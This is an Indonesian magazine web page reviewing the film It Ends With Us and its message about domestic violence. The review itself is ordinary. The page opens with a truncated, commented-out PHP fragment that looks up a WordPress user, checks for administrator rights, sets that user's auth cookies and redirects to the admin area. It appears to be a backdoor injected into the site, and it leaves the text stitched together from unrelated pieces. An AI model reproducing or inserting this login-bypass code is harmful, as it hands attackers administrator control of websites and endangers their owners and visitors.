user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
It Ends With Us: Katakan 'Tidak' untuk Hubungan Toksik

17 Aug 2024

Ryle (Justin Baldoni) yang terlihat sempurna ternyata jadi sumber ketakutan Lily (Blake Lively).
Foto: Sony Pictures/Columbia Pictures

Kasus kekerasan dalam rumah tangga (KDRT) menjadi satu momok dalam sebuah hubungan, dan tidak bisa dianggap remeh. Kasus KDRT yang sedang viral tak hanya untuk kita ketahui, tapi juga kita hentikan dan tidak jadi 'warisan' turun-temurun.

Karena alasan apa pun, KDRT ini tidak bisa dibenarkan. Butuh keberanian dari para korban untuk membuat keputusan dan melaporkan pelaku ke pihak berwajib. Pesan inilah yang ingin disampaikan dari film terbaru yang diadaptasi dari novel laris karya Colleen Hoover berjudul It Ends With Us.  

It Ends With Us merupakan film terbaru dari istri aktor Ryan Reynolds, Blake Lively (Lily Bloom). Dalam film ini Blake beradu peran dengan aktor Justin Baldoni (Ryle Kincaid) yang juga menjadi sutradara film ini. Film ini juga turut dibintangi oleh Jenny Slate (Allysa), Hasan Minhaj (Marshall), and Brandon Sklenar (Atlas Corrigan).

Film berdurasi lebih dari 2 jam ini berkisah tentang sosok Lily Bloom, yang mengalami momentum di kematian sang ayah. Lily dihantui masa lalu tentang KDRT yang dilakukan sang ayah pada ibunya. Tak heran bahkan untuk memberikan kata-kata terakhir di acara pemakaman sang ayah pun Lily tidak sanggup. 
 
Allysa (Jenny Slate), sahabat baru Lily sekaligus jadi adik iparnya. POV Allysa bisa berbeda-beda melihat kasus Lily. Foto: Columbia Pictures

Kisah percintaan Lily di masa lalu dengan Atlas juga harus berakhir karena sang ayah yang hampir membunuh kekasihnya tersebut. Berniat melupakan masa lalu, Lily membuka toko bunga di Boston, kota asal Atlas. Kehidupannya berubah ketika dia bertemu dengan seorang dokter bedah saraf, Ryle Kincaid, yang terlihat sempurna, hingga akhirnya mereka jatuh cinta dan menikah.  

Advertisement
Hubungan Lily dan Ryle menjadi sangat rumit, terkadang cenderung menjadi hubungan toksik, apalagi ketika ia bertemu kembali dengan Atlas. Berhasilkan sosok Lily keluar dari luka batin yang ia rasakan?
 
Atlas (Brandon Sklenar) menunggu jika Lily masih punya cinta untuk dibagi. Sweet.... Foto: Columbia Pictures

It Ends With Us bertutur tentang KDRT secara perlahan; pelaku dan korban bukan stereotipe yang mungkin biasa kita baca di berita-berita KDRT. Dan pada akhirnya, korban yang harus menguatkan diri untuk mengambil keputusan, agar siklus KDRT (yang ternyata sempat dialami ibu dari Colleen Hoover) tidak jadi 'warisan'.

Meski tidak sepenuhnnya patuh pada bukunya (antara lain usia Lily dan Ryle, nama restoran milik Atlas), film ini dianggap bisa menyampaikan pesan agar kita tidak mendiamkan KDRT.

It Ends With Us sudah bisa disaksikan di bioskop-bioskop kesayangan mulai 16 Agustus 2024. 

Baca juga:
14 Drakor Terbaru Bulan Agustus: Meriah dengan Komedi Romantis dan K-Pop Idol
Borderlands: Aksi Heroik Cate Blanchett dalam Adaptasi Game
Finding the Light in Me, Perjalanan Mencari Jati Diri Shahnaz Soehartono
 

Bennita Luisa


Topic

#feminaindonesia, #film, #boxoffice

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?